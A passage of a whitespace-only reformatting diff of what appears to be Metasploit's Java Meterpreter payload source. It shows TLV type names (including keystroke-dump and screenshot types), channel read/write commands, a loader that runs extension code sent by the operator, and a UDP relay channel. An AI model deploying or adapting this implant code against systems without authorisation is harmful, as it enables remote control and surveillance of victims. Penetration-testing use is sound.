typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
|
||||||
}
|
}
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
meterpreter.getErrorStream().println("Unknown request detected:");
|
meterpreter.getErrorStream().println("Unknown request detected:");
|
||||||
dumpTLV(meterpreter.getErrorStream(), request);
|
dumpTLV(meterpreter.getErrorStream(), request);
|
||||||
return ERROR_FAILURE;
|
return ERROR_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void dumpTLV(PrintStream errorStream, TLVPacket request) {
|
private void dumpTLV(PrintStream errorStream, TLVPacket request) {
|
||||||
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext();) {
|
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext(); ) {
|
||||||
int type = ((Integer) it.next()).intValue();
|
int type = ((Integer) it.next()).intValue();
|
||||||
int restType = type;
|
int restType = type;
|
||||||
String typePrefix = "";
|
String typePrefix = "";
|
||||||
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
|
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
|
||||||
typePrefix = "Compressed ";
|
typePrefix = "Compressed ";
|
||||||
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
|
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
|
||||||
}
|
}
|
||||||
String typeName = (String) typeNames.get(new Integer(restType));
|
String typeName = (String) typeNames.get(new Integer(restType));
|
||||||
|
|
||||||
Object typeValue = request.getValue(type);
|
Object typeValue = request.getValue(type);
|
||||||
if (typeName == null)
|
if (typeName == null)
|
||||||
typeName = "0x" + Integer.toHexString(type).toUpperCase();
|
typeName = "0x" + Integer.toHexString(type).toUpperCase();
|
||||||
if (typeValue instanceof byte[]) {
|
if (typeValue instanceof byte[]) {
|
||||||
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
|
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
|
||||||
}
|
}
|
||||||
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
|
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -6,29 +6,27 @@ import com.metasploit.meterpreter.TLVPacket;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A command that represents a command that is implemented, but not for the current Java version.
|
* A command that represents a command that is implemented, but not for the current Java version.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class UnsupportedJavaVersionCommand implements Command {
|
public class UnsupportedJavaVersionCommand implements Command {
|
||||||
|
|
||||||
private final String command;
|
private final String command;
|
||||||
private final int version;
|
private final int version;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new instance of that command.
|
* Create a new instance of that command.
|
||||||
*
|
*
|
||||||
* @param command
|
* @param command Name of the command
|
||||||
* Name of the command
|
* @param version Version required
|
||||||
* @param version
|
*/
|
||||||
* Version required
|
public UnsupportedJavaVersionCommand(String command, int version) {
|
||||||
*/
|
this.command = command;
|
||||||
public UnsupportedJavaVersionCommand(String command, int version) {
|
this.version = version;
|
||||||
this.command = command;
|
}
|
||||||
this.version = version;
|
|
||||||
}
|
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
|
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
|
||||||
return ERROR_FAILURE;
|
return ERROR_FAILURE;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -5,18 +5,18 @@ import com.metasploit.meterpreter.ExtensionLoader;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Loader class to register all the core commands.
|
* Loader class to register all the core commands.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class Loader implements ExtensionLoader {
|
public class Loader implements ExtensionLoader {
|
||||||
|
|
||||||
public void load(CommandManager mgr) throws Exception {
|
public void load(CommandManager mgr) throws Exception {
|
||||||
mgr.registerCommand("core_channel_close", core_channel_close.class);
|
mgr.registerCommand("core_channel_close", core_channel_close.class);
|
||||||
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
|
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
|
||||||
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
|
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
|
||||||
mgr.registerCommand("core_channel_open", core_channel_open.class);
|
mgr.registerCommand("core_channel_open", core_channel_open.class);
|
||||||
mgr.registerCommand("core_channel_read", core_channel_read.class);
|
mgr.registerCommand("core_channel_read", core_channel_read.class);
|
||||||
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
||||||
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
12
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java
12
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_close.java
@ -7,10 +7,10 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
|
|
||||||
public class core_channel_close implements Command {
|
public class core_channel_close implements Command {
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
|
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
|
||||||
if (c != null)
|
if (c != null)
|
||||||
c.close();
|
c.close();
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,14 +8,14 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_channel_eof implements Command {
|
public class core_channel_eof implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
|
int id = request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID);
|
||||||
if (id == 0) {
|
if (id == 0) {
|
||||||
response.add(TLVType.TLV_TYPE_BOOL, false);
|
response.add(TLVType.TLV_TYPE_BOOL, false);
|
||||||
} else {
|
} else {
|
||||||
Channel c = meterpreter.getChannel(id, true);
|
Channel c = meterpreter.getChannel(id, true);
|
||||||
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
|
response.add(TLVType.TLV_TYPE_BOOL, c.isEOF());
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,15 +8,15 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_channel_interact implements Command {
|
public class core_channel_interact implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||||
// True means start interacting, False means stop
|
// True means start interacting, False means stop
|
||||||
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
|
boolean toggle = request.getBooleanValue(TLVType.TLV_TYPE_BOOL);
|
||||||
if (toggle) {
|
if (toggle) {
|
||||||
channel.startInteract();
|
channel.startInteract();
|
||||||
} else {
|
} else {
|
||||||
channel.stopInteract();
|
channel.stopInteract();
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
10
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_open.java
10
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_open.java
@ -7,9 +7,9 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_channel_open implements Command {
|
public class core_channel_open implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
|
String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
|
||||||
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
|
Command channelCreator = meterpreter.getCommandManager().getCommand("channel_create_" + channelType);
|
||||||
return channelCreator.execute(meterpreter, request, response);
|
return channelCreator.execute(meterpreter, request, response);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
18
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java
18
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_read.java
@ -8,13 +8,13 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_channel_read implements Command {
|
public class core_channel_read implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
Channel channel = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||||
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||||
byte[] data = channel.read(len);
|
byte[] data = channel.read(len);
|
||||||
if (data == null)
|
if (data == null)
|
||||||
return ERROR_FAILURE;
|
return ERROR_FAILURE;
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
response.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
16
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java
16
java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_channel_write.java
@ -8,12 +8,12 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_channel_write implements Command {
|
public class core_channel_write implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
|
byte[] data = request.getRawValue(TLVType.TLV_TYPE_CHANNEL_DATA);
|
||||||
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
int len = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||||
c.write(data, len, request);
|
c.write(data, len, request);
|
||||||
response.add(TLVType.TLV_TYPE_LENGTH, len);
|
response.add(TLVType.TLV_TYPE_LENGTH, len);
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -7,13 +7,13 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class core_loadlib implements Command {
|
public class core_loadlib implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
|
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
|
||||||
String[] commands = meterpreter.loadExtension(data);
|
String[] commands = meterpreter.loadExtension(data);
|
||||||
for (int i = 0; i < commands.length; i++) {
|
for (int i = 0; i < commands.length; i++) {
|
||||||
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
|
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
|
||||||
}
|
}
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,88 +9,86 @@ import java.net.SocketException;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A channel for a {@link DatagramSocket}.
|
* A channel for a {@link DatagramSocket}.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class DatagramSocketChannel extends Channel {
|
public class DatagramSocketChannel extends Channel {
|
||||||
|
|
||||||
private final DatagramSocket datagramSocket;
|
private final DatagramSocket datagramSocket;
|
||||||
private boolean closed = false;
|
private boolean closed = false;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a new socket channel.
|
* Create a new socket channel.
|
||||||
*
|
*
|
||||||
* @param meterpreter
|
* @param meterpreter The meterpreter this channel should be assigned to.
|
||||||
* The meterpreter this channel should be assigned to.
|
* @param socket Socket of the channel
|
||||||
* @param socket
|
*/
|
||||||
* Socket of the channel
|
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
|
||||||
*/
|
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
||||||
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
|
this.datagramSocket = datagramSocket;
|
||||||
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
|
new AcceptThread().start();
|
||||||
this.datagramSocket = datagramSocket;
|
}
|
||||||
new AcceptThread().start();
|
|
||||||
}
|
|
||||||
|
|
||||||
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
public void write(byte[] data, int length, TLVPacket request) throws IOException {
|
||||||
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
|
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
|
||||||
InetAddress remoteHost = null;
|
InetAddress remoteHost = null;
|
||||||
int remotePort = 0;
|
int remotePort = 0;
|
||||||
if (remoteHostName != null) {
|
if (remoteHostName != null) {
|
||||||
remoteHost = InetAddress.getByName(remoteHostName);
|
remoteHost = InetAddress.getByName(remoteHostName);
|
||||||
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
|
||||||
}
|
}
|
||||||
write(data, length, remoteHost, remotePort);
|
write(data, length, remoteHost, remotePort);
|
||||||
}
|
}
|
||||||
|
|
||||||
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
|
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
|
||||||
if (remoteHost == null) {
|
if (remoteHost == null) {
|
||||||
remoteHost = datagramSocket.getInetAddress();
|
remoteHost = datagramSocket.getInetAddress();
|
||||||
remotePort = datagramSocket.getPort();
|
remotePort = datagramSocket.getPort();
|
||||||
}
|
}
|
||||||
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
|
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
|
||||||
datagramSocket.send(dp);
|
datagramSocket.send(dp);
|
||||||
}
|
}
|
||||||
|
|
||||||
public void close() throws IOException {
|
public void close() throws IOException {
|
||||||
closed = true;
|
closed = true;
|
||||||
datagramSocket.close();
|
datagramSocket.close();
|
||||||
super.close();
|
super.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
Meterpreter getMeterpreter() {
|
|
||||||
return meterpreter;
|
|
||||||
}
|
|
||||||
|
|
||||||
private class AcceptThread extends Thread {
|
Meterpreter getMeterpreter() {
|
||||||
public void run() {
|
return meterpreter;
|
||||||
try {
|
}
|
||||||
byte[] datagram = new byte[65536];
|
|
||||||
while (true) {
|
private class AcceptThread extends Thread {
|
||||||
try {
|
public void run() {
|
||||||
DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
|
try {
|
||||||
datagramSocket.receive(dp);
|
byte[] datagram = new byte[65536];
|
||||||
byte[] data = new byte[dp.getLength()];
|
while (true) {
|
||||||
System.arraycopy(datagram, 0, data, 0, dp.getLength());
|
try {
|
||||||
TLVPacket tlv = new TLVPacket();
|
DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
|
||||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
datagramSocket.receive(dp);
|
||||||
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
|
byte[] data = new byte[dp.getLength()];
|
||||||
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
|
System.arraycopy(datagram, 0, data, 0, dp.getLength());
|
||||||
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
TLVPacket tlv = new TLVPacket();
|
||||||
tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
|
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
|
||||||
getMeterpreter().writeRequestPacket("core_channel_write", tlv);
|
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
|
||||||
} catch (SocketException t) {
|
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
|
||||||
// dirty hack since later java versions add more of those...
|
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
|
||||||
if (!t.getClass().getName().endsWith("UnreachableException"))
|
